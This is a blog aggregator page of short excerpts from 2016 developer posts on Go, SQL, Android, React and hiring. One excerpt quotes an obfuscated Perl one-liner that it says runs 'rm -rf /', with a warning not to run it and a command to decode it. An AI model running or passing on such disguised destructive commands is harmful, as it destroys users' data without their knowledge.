~/devreads

24 Oct 2016

Dave Cheney 4 min read

Just so we’re clear, this post is a thought experiment, not any form of commitment to deliver Go 2.0 in any time frame. While I personally believe there will be a Go 2.0 in the future, I’m in no position to influence its creation; hence, this post is mere speculation. Why introduce a new major version […]

goprogrammingsmall ideasgo2.0

Stanko 3 min read

Please note that I'm not using Jekyll anymore, so this post might be outdated. Update, November 2017 # I don't use this setup anymore, it might be outdated, proceed with caution. Original post # As I already mentioned, GitHub pages do not work with the Jekyll plugins. It is a security measure. So I researched it a bit, and colleague…

23 Oct 2016

67 min read

HN comments are terrible. On any topic I’m informed about, the vast majority of comments are pretty clearly wrong. Most of the time, there are zero comments from people who know anything about the topic and the top comment is reasonable sounding but totally incorrect. Additionally, many comments are gratuitously mean. You'll often hear mean comments backed up with something…

21 Oct 2016

lukaseder 1 min read

Are you working with someone else’s schema and they haven’t declared nice names for all their constraints? Unfortunately, it is all too easy to create a table like this: Or like this: Sure, you get a little convenience when writing the table. But from now on, you’re stuck with weird, system generated names both for … Continue reading How to…

sqlconstraint namesconstraintsexecution plansoracle

20 Oct 2016

20 min read

In this post I want to highlight a few fun aspects of the Haskell programming language. The purpose is to give you a taste of Haskell so that you will want to learn more of it. Don’t consider this as a tutorial or guide but rather as a starting point, as it is based on a short talk I held…

lukaseder 1 min read

Everyone who writes complex SQL (or dare I say, move business logic into the database?) wishes for parameterised views from time to time. This hypothetical syntax would be terrific: Or as user-defined functions if you insist (as available in SQL Server): As always on this blog, I’m using the useful Sakila database for examples. The … Continue reading Be Careful…

sqloracleparameterised viewssys context

jgamblin 1 min read

I use DigitalOcean for a majority of my testing and from time to time I need a desktop environment to run some of my tools (like burp). After spending much more time than I want to admit I have it down to these 10 commands to bring a Ubuntu + Mate + XRDP desktop to a Ubuntu Droplet : sudo…

careerhacking

Stanko 3 min read

Please note that I'm not using Jekyll anymore, so this post might be outdated. As you probably noticed I redesigned my blog and added some new features. This is a list of the new stuff. New design Category pages Comments Search Reading time Share buttons New design # My friend Nikola, from MIDA digital agency, helped me a lot with…

19 Oct 2016

1 min read

HashCode and equals implementations are hard. Usually, it’s tricky to properly implement hashCode and equals method to fully fulfill contract from Java documentation. I’m going to focus on just one the point from the hashCode contract: whenever it is invoked on the same object more than once during an execution of a Java application, the hashCode method must consistently return…

18 Oct 2016

Robin Wieruch 7 min read

Eventually the time will come when your team wants to use React + Redux for their frontend stack. We made that commitment some time ago at Small Improvements – we never had to regret it. As we come from an Angular 1.x frontend application, we needed to decide between React (+ ecosystem) and Angular 2. […]

frontend

lukaseder 1 min read

Welcome to the jOOQ Tuesdays series. In this series, we’ll publish an article on the third Tuesday every other month where we interview someone we find exciting in our industry from a jOOQ perspective. This includes people who work with SQL, Java, Open Source, and a variety of other related topics. I’m very excited to … Continue reading jOOQ Tuesdays:…

jooq-tuesdaysapibrian goetzconferencescyclops

17 Oct 2016

Andrew Terranova 3 min read

This year Bazaarvoice sponsored CSSConf 2016 in beautiful Boston, MA, USA and I was able to attend! Here are my three top takeaways from CSSConf 2016: Flexy Flexy Flexbox A little over a year ago, our application team wasn’t sure how “stable” Flexbox or its spec were: there was already an old syntax, a new syntax, […]

conferencessoftware architecture

jgamblin 1 min read

Earlier this week someone sent me this one line perl script (that you shouldn’t run): perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;s;;$_;see' Due to some really clever code obfuscation it runs rm -rf /. You can deobfuscate (is that word?) with this: perl -e 's;;=]=>%-{<-|}<&|`{;; y; -/:-@[-`{-};`-{/" -;;print "$_\n"' While trying to figure out how this code code I stumbled upon…

careerhacking

1 min read

First post. It must be Hello world. I’m going to try and start posting something regularly. I’m Java and javascript so it’s probably will be the main topic of this blog. Sometimes I will try to write something more generic and not language specific. Read more

16 Oct 2016

26 min read

There are a lot of “12 CS books every programmer must read” lists floating around out there. That's nonsense. The field is too broad for almost any topic to be required reading for all programmers, and even if a topic is that important, people's learning preferences differ too much for any book on that topic to be the best book…

kevin 9 min read

I think this is useful and the ballot's complicated so I wanted to share how I'm voting this year. I used several sources to compile this guide: The SF Chronicle's endorsements - they follow these issues every day. The ballot book mailed to every voter, especially the text of the law and the main pro/con […]

todays world

14 Oct 2016

13 Oct 2016

Jared Burrows 5 min read

See my conference talk here: Youtube link: https://www.youtube.com/watch?v=ZmI-NZ1akow SpeakerDeck: https://speakerdeck.com/jaredsburrows/the-road-to-single-dex-gradle-summit-2017 Original Post: The Yammer for Android app was over the dex limit. This means the Android application was being shipped with more than one .dex file because each .dex file can only hold around 64k methods . I was determined to make our Android application much smaller in order to…

androidandroid-app-developmentproguardgradlemultidex

12 Oct 2016

15 min read

Updated Dec 17, 2016: Removed mention of the Azure Preview (since it’s now GA), linked to easier method to disable monitors, updated driver link Playing Overwatch at 60FPS, 2560x1600, everything on Epic quality, and streaming from the cloud – not too shabby! It’s no secret that I love the concept of not just streaming AAA game titles from the cloud,…

11 Oct 2016

9 Oct 2016

19 min read

Joel Spolsky has a classic blog post on "Finding Great Developers" where he popularized the meme that great developers are impossible to find, a corollary of which is that if you can find someone, they're not great. Joel writes, The great software developers, indeed, the best people in every field, are quite simply never on the market. The average great…

7 Oct 2016

lukaseder 1 min read

Adding the right index to speed up your queries is essential. But after a while, as your system grows, you may find yourself with tons of indexes, which all slow down writing to the database – as with each write to the table, the index needs to be updated as well in the same transaction. … Continue reading Does Your…

sqlindexingperformance

6 Oct 2016

1 min read

Watchub is a service that notifies you of people who followed/unfollowed you and starred/unstarred your repositories.

5 Oct 2016

lukaseder 1 min read

In my SQL Masterclass, I frequently remind participants of the fact how important statistics are for a modern cost based optimiser. For instance, if you consider the fact that in an average E-Banking system’s bookings table, you will probably have a transaction amount histogram like the following: In other words, most of your transactions are … Continue reading Why You…

sqlcbocost based optimizeroptimizeroracle

jgamblin 1 min read

Recently I have been working with some NGFW tools to automatically detect and block when someone is scraping, brute forcing or “load testing” your website. I quickly ran into a problem where none of the tools I use would allow me to quickly change user agents so I put together a couple of quick scripts that call one of 7500…

careerhacking

4 Oct 2016

2 min read

You know the scenes in Friends when Ross starts talking about dinosaurs and he’s SUPER excited but everyone else is losing the will to live? This is basically that, only instead of dinosaurs, it’s emoji, and unlike Ross, I have never successfully befriended a monkey. Last month, my coworker casually told me he still has a 2001 era DoCoMo phone,…

3 Oct 2016

9 min read

I can't think of a single large software company that doesn't regularly draw internet comments of the form “What do all the employees do? I could build their product myself.” Benjamin Pollack and Jeff Atwood called out people who do that with Stack Overflow. But Stack Overflow is relatively obviously lean, so the general response is something like “oh, sure…

2 Oct 2016

1 min read

As a DevOps/SRE, I spent a reasonable amount of time dealing with metrics and alerts.

30 Sept 2016

3 min read

It all started innocently enough. I had “jfrazelle” as my GitHub handle for years, but my Twitter, IRC and other handles are all “jessfraz”. No one on GitHub was actually using “jessfraz” so I sat on it waiting to make my move. I’m currently on vacation this week so of course I was looking to break all the things. One…

Kim Moir

The conference started off with Anna Lambert of Shopify welcoming everyone to the conference. The first speaker was Atlee Clark, Director of App and Developer relations at Shopify who discussed the wheel of diversity. The wheel of diversity is a way of mapping the characteristics that you're born with (age, gender, gender expression, race or ethnicity, national origin, mental/physical ability),…

Per Fragemann 3 min read

We recently launched our new Activity Stream. What began as a small idea turned into quite the large engineering undertaking. The results are astonishing, but it was a lot of hard work. In this part we’ll share how the design took shape. Whiteboard and paper drawings Each larger project at Small Improvements begins with […]

producthow we work

Dave Cheney 4 min read

The recent total war bombardment of Brian Krebs’ site, and the subsequent allegation that the traffic emanated from compromised home routers, cameras, baby monitors, doorbells, thermostats, and whatnot, got me thinking. Prolexic said the 665 Gbps attack that hit my site tonight is almost twice the size of the largest attack they've seen previously. — […]

small ideasinternet of shitiotsecurity

28 Sept 2016

5 min read

Jake Murzy has been hard at work creating a new navigational library for React Native over the last couple of months. While React JS has the benefit of the highly-regarded React Router, such a comprehensive routing solution doesn’t exist yet in the React Native community. In fact, React Native’s routing landscape has been in constant upheaval for the last year.…

lukaseder 1 min read

Some people make architecture decisions purely based on the loudest consultant: no, we base all our important architectural decisions on # of tweets. It's a Twitter Oriented Architecture ;) — Gareth Western (@gareth) September 21, 2016 For most others, however, decisions are not as simple as this. For instance: When should we start evaluating NoSQL … Continue reading When to…

sqlgraph databasesjsonnosqlrdbms

Stanko 1 min read

Before modern frameworks, I always used jQuery's scrollTo method. At some point, not every project included jQuery, so I wrote simple function to animate window scroll. I have kept copying that function from project to project. Finally I took some time, cleaned it up and published it on the npm (this is the first npm package I published). Check the…

27 Sept 2016

1 min read

In my previous post, I discussed the challenges of growing the engineering team and defining the roles of a CTO vs VP of engineering. A common question that came up is: when is a good time to start looking for a VP of engineering. I am afraid that there isn’t a simple answer but more a mix of a few…

lukaseder 1 min read

A recent question on Stack Overflow about jOOQ caught my attention. The question essentially asked: Why do both of these loops work? And indeed, just like in PL/SQL, you can use any jOOQ ResultQuery as a Java 5 Iterable, because that’s what it is. An Iterable<R> where R extends Record. The semantics is simple. When … Continue reading A Hidden…

javajava 8sqlcursorforeach

18 min read

Developer compensation has skyrocketed since the demise of the Google et al. wage-suppressing no-hire agreement, to the point where compensation rivals and maybe even exceeds compensation in traditionally remunerative fields like law, consulting, etc. In software, "senior" dev salary at a high-paying tech company is $350k/yr, where "senior" can mean "someone three years of out school" and it's not uncommon…

1 min read

I have seen a lot of posts like this subject, but almost all of them were about stuff you should do and almost none of them reflected how I truly feel, how I want a product to be so I can “love” it.

26 Sept 2016

1 min read

This is a guest post by my friend and colleague Samantha Davies. Samantha is a math Ph.D student at the University of Washington, and a newly minted math blogger. Go check out her blog, With High Probability. If I said “let’s talk about temperature and voltage”, you might be interested, but few would react the same if instead I suggested…

Zoli Kahan 1 min read

Authentication models for hosting platforms require more considerations due to 3rd party api access. We wanted to be able to issue user auth tokens for 3rd party apps (think OAuth), as well as be able to verify authentication of local native api calls (through our iframe native app hooks). Our solution was to use Json Web Tokens (JWT) with ES256…

25 Sept 2016

23 Sept 2016

1 min read

Today we are launching a new API application process. Starting today, developers will need to fill out an application form to request access…

22 Sept 2016

21 Sept 2016

Schakko 3 min read

One part of my work is to inspect request for quotes (RfQs), gather customer requirements, estimate the effort and prepare a written offer. Most of our customers do not want to pay a separate bill for every sprint or user story but get a number or range for the total costs […] The post Side project: A tool for preparing…

project ideas

Ruslan Spivak 15 min read

I was sitting in my room the other day and thinking about how much we had covered, and I thought I would recap what we’ve learned so far and what lies ahead of us. Up until now we’ve learned: How to break sentences into tokens. The process is called lexical analysis and the part of the interpreter that does it…

28 min read

In this post, we learn how to return from exceptions correctly. In the course of this, we will explore the iretq instruction, the C calling convention, multimedia registers, and the red zone. As always, the complete source code is on GitHub. Please file issues for any problems, questions, or improvement suggestions. There is also a gitter chat and a comment…

20 Sept 2016

oferzelig 3 min read

Updated 31 January 2017 The need for Angular 2 quickstarters There’s an old dictum (not less than 2-3 years, which makes it really ancient in the software development industry): A good developer is a lazy developer. The idea of project The post Angular 2 Quickstarter / Bootstrap / Boilerplate Projects appeared first on FullStack - Ofer Zelig's Blog.

uncategorized

19 Sept 2016

1 min read

The next Monday, when the fathers were all back at work, we kids were playing in a field. One kid says to me, “See that bird? What kind of bird is that?” I said, “I haven’t the slightest idea what kind of a bird it is.” He says, “It’s a brown-throated thrush. Your father doesn’t teach you anything!” But it…

17 Sept 2016

Dave Cheney 5 min read

Sunday September the 18th marks a month since the Go 1.8 cycle opened officially. I’m passionate about the performance of Go programs, and of the compiler itself. This post is a brief look at the state of play, roughly 1/2 way into the development cycle for Go 1.81. Note: these results are of course preliminary […]

goprogrammingperformance

5 min read

Last week, I gave a talk at Github Universe and afterwards several people suggested I write a blog post on it. Here it is. This post will cover intricacies of “choosing your battle” and how personal passion for a project might conflict with corporate motives. I have experienced open source from the side of the contributor, the side of the…

15 Sept 2016

Kyle Gordon 4 min read

It’s been 4 years since Microsoft acquired Yammer, and we easily remember how being acquired was our springboard into a bustle of structural adaptations. An acquisition by such a large company alone presents all kinds of new and exciting challenges. Not to mention, Yammer is a pretty unique product under the Microsoft umbrella; we’re a Linux shop. Microsoft-owned datacenters are,…

yammerload-balancingnetworkingbgptech

Miguel Juárez López 5 min read

Using RxJava’s Observable.fromAsync() to convert asynchronous APIs while properly dealing with backpressure Since we started using RxJava in our Yammer Android app we’ve often encountered APIs that don’t follow its reactive model, requiring us to do some conversion work to integrate them with the rest of our RxJava Observable chains. APIs usually offer one of these two options when dealing…

androidjavaandroiddevrxjavaandroid-app-development

Miguel Juárez López 6 min read

The pattern for loading and displaying data for our Yammer Android app is roughly as follows: When wanting to show content query two sources: one being the disk (cache), and the other one being the network (API). Show the cached data while waiting for the network. When the network request comes back, cache it to disk, then show it. This…

android-app-developmentrxjavaandroid

Miguel Juárez López 3 min read

Re-register GCM push notifications on app upgrade with MY_PACKAGE_REPLACED When implementing push notifications using GCM (Google Cloud Messaging) on Android, one of the gotchas of which to be aware is the “application update” scenario. The Google documentation states: When an application is updated, it should invalidate its existing registration ID, as it is not guaranteed to work with the new…

push-notificationandroidandroid-app-development

Miguel Juárez López 3 min read

Using Otto and Retrofit to log out users when receiving 401 error responses from the API I was recently working on an Android project where we needed to log out the current user whenever you encountered a 401 Unauthorized HTTP response from our API. I am a fan of all the Android libraries from square , so for this post…

androidretrofitandroid-app-development

Engineering Yammer 8 min read

Microservices have been a popular topic recently. People argue over whether you should start with microservices or evolve there from a single ‘monolithic’ app . Maybe in a well designed app microservices are simply a deployment option ? It all seems rather academic when you have upward of 100,000 lines of (non-test) Ruby code glowering back at you. (And that’s…

microservicesactiverecordruby-on-rails

Engineering Yammer 4 min read

Myo Thein & Dan Lee Everybody loves a good rewrite. It feels great to throw away a crusty, years-old codebase and replace it with something shiny and new. Rewrites come with some serious tradeoffs though, and in a lot of cases, the decision to start again from scratch is not the right call at all. In the seven-year history of…

14 Sept 2016

Michael Carroll 1 min read

Add blocks and conditionals to your programming language with Ohm, the open source Javascript grammar parser framework.

lukaseder 1 min read

A while ago, I blogged about the importance of avoiding unnecessary COUNT(*) queries:https://blog.jooq.org/sql-tip-of-the-day-be-wary-of-select-count … and how to replace them with equivalent EXISTS queries As I’m updating the SQL training to show also PostgreSQL performance characteristics in addition to Oracle, I really have to reiterate this topic. Please repeat after me: Thou shalt not use COUNT(*) … Continue reading Avoid Using…

sqlcountexistsoracleperformance